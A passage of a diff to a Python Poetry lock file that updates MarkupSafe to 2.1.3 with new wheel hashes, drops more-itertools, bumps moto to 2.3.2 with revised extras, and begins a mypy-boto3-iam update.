"MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win32.whl", hash = "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win32.whl", hash = "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win32.whl", hash = "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win32.whl", hash = "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_i686.whl", hash = "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win32.whl", hash = "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8"}, - {file = "MarkupSafe-2.0.1.tar.gz", hash = "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:f698de3fd0c4e6972b92290a45bd9b1536bffe8c6759c62471efaa8acb4c37bc"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:aa57bd9cf8ae831a362185ee444e15a93ecb2e344c8e52e4d721ea3ab6ef1823"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffcc3f7c66b5f5b7931a5aa68fc9cecc51e685ef90282f4a82f0f5e9b704ad11"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:47d4f1c5f80fc62fdd7777d0d40a2e9dda0a05883ab11374334f6c4de38adffd"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1f67c7038d560d92149c060157d623c542173016c4babc0c1913cca0564b9939"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:9aad3c1755095ce347e26488214ef77e0485a3c34a50c5a5e2471dff60b9dd9c"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:14ff806850827afd6b07a5f32bd917fb7f45b046ba40c57abdb636674a8b559c"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8f9293864fe09b8149f0cc42ce56e3f0e54de883a9de90cd427f191c346eb2e1"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-win32.whl", hash = "sha256:715d3562f79d540f251b99ebd6d8baa547118974341db04f5ad06d5ea3eb8007"}, + {file = "MarkupSafe-2.1.3-cp312-cp312-win_amd64.whl", hash = "sha256:1b8dd8c3fd14349433c79fa8abeb573a55fc0fdd769133baac1f5e07abf54aeb"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"}, + {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, ] [[package]] @@ -869,35 +1069,24 @@ files = [ {file = "mccabe-0.6.1.tar.gz", hash = "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"}, ] -[[package]] -name = "more-itertools" -version = "8.8.0" -description = "More routines for operating on iterables, beyond itertools" -optional = false -python-versions = ">=3.5" -files = [ - {file = "more-itertools-8.8.0.tar.gz", hash = "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a"}, - {file = "more_itertools-8.8.0-py3-none-any.whl", hash = "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d"}, -] - [[package]] name = "moto" -version = "2.2.1" +version = "2.3.2" description = "A library that allows your python tests to easily mock out the boto library" optional = false python-versions = "*" files = [ - {file = "moto-2.2.1-py2.py3-none-any.whl", hash = "sha256:ab9f7114bf5b60e9d3ae518c0694bf53e111a5c0c195b19e89707c97ab71b53c"}, - {file = "moto-2.2.1.tar.gz", hash = "sha256:4ea538fe090b964c22bb98a6f87d3c589eaf754893d297d58b74dedb94d4448c"}, + {file = "moto-2.3.2-py2.py3-none-any.whl", hash = "sha256:0c29f5813d4db69b2f99c5538909a5aba0ba1cb91a74c19eddd9bfdc39ed2ff3"}, + {file = "moto-2.3.2.tar.gz", hash = "sha256:eaaed229742adbd1387383d113350ecd9222fc1e8f5611a9395a058c1eee4377"}, ] [package.dependencies] boto3 = ">=1.9.201" botocore = ">=1.12.201" cryptography = ">=3.3.1" +importlib-metadata = {version = "*", markers = "python_version < \"3.8\""} Jinja2 = ">=2.10.1" MarkupSafe = "!=2.0.0a1" -more-itertools = "*" python-dateutil = ">=2.1,<3.0.0" pytz = "*" requests = ">=2.5" @@ -906,21 +1095,24 @@ werkzeug = "*" xmltodict = "*" [package.extras] -all = ["PyYAML (>=5.1)", "aws-xray-sdk (>=0.93,!=0.96)", "cfn-lint (>=0.4.0)", "docker (>=2.5.1)", "ecdsa (<0.15)", "idna (>=2.5,<3)", "jsondiff (>=1.1.2)", "python-jose[cryptography] (>=3.1.0,<4.0.0)", "sshpubkeys (>=3.1.0)"] -apigateway = ["ecdsa (<0.15)", "python-jose[cryptography] (>=3.1.0,<4.0.0)"] +all = ["PyYAML (>=5.1)", "aws-xray-sdk (>=0.93,!=0.96)", "cfn-lint (>=0.4.0)", "docker (>=2.5.1)", "ecdsa (!=0.15)", "graphql-core", "idna (>=2.5,<4)", "jsondiff (>=1.1.2)", "python-jose[cryptography] (>=3.1.0,<4.0.0)", "setuptools", "sshpubkeys (>=3.1.0)"] +apigateway = ["ecdsa (!=0.15)", "python-jose[cryptography] (>=3.1.0,<4.0.0)"] +appsync = ["graphql-core"] awslambda = ["docker (>=2.5.1)"] batch = ["docker (>=2.5.1)"] cloudformation = ["PyYAML (>=5.1)", "cfn-lint (>=0.4.0)", "docker (>=2.5.1)"] -cognitoidp = ["ecdsa (<0.15)", "python-jose[cryptography] (>=3.1.0,<4.0.0)"] +cognitoidp = ["ecdsa (!=0.15)", "python-jose[cryptography] (>=3.1.0,<4.0.0)"] +ds = ["sshpubkeys (>=3.1.0)"] dynamodb2 = ["docker (>=2.5.1)"] dynamodbstreams = ["docker (>=2.5.1)"] ec2 = ["sshpubkeys (>=3.1.0)"] efs = ["sshpubkeys (>=3.1.0)"] iotdata = ["jsondiff (>=1.1.2)"] +route53resolver = ["sshpubkeys (>=3.1.0)"] s3 = ["PyYAML (>=5.1)"] -server = ["PyYAML (>=5.1)", "aws-xray-sdk (>=0.93,!=0.96)", "cfn-lint (>=0.4.0)", "docker (>=2.5.1)", "ecdsa (<0.15)", "flask", "flask-cors", "idna (>=2.5,<3)", "jsondiff (>=1.1.2)", "python-jose[cryptography] (>=3.1.0,<4.0.0)", "sshpubkeys (>=3.1.0)"] -ssm = ["PyYAML (>=5.1)"] -xray = ["aws-xray-sdk (>=0.93,!=0.96)"] +server = ["PyYAML (>=5.1)", "aws-xray-sdk (>=0.93,!=0.96)", "cfn-lint (>=0.4.0)", "docker (>=2.5.1)", "ecdsa (!=0.15)", "flask", "flask-cors", "graphql-core", "idna (>=2.5,<4)", "jsondiff (>=1.1.2)", "python-jose[cryptography] (>=3.1.0,<4.0.0)", "setuptools", "sshpubkeys (>=3.1.0)"] +ssm = ["PyYAML (>=5.1)", "dataclasses"] +xray = ["aws-xray-sdk (>=0.93,!=0.96)", "setuptools"] [[package]] name = "mypy" @@ -963,45 +1155,45 @@ dmypy = ["psutil (>=4.0)"] [[package]] name = "mypy-boto3-iam" -version = "1.18.13" -description = "Type annotations for boto3.IAM 1.18.13 service, generated by mypy-boto3-builder 5.1.0" +version = "1.21.23" +description = "Type annotations for boto3.IAM 1.21.23 service generated with mypy-boto3-builder 7.4.0" optional = false python-versions = ">=3.6" files = [ - {file = "mypy-boto3-iam-1.18.13.tar.gz", hash = 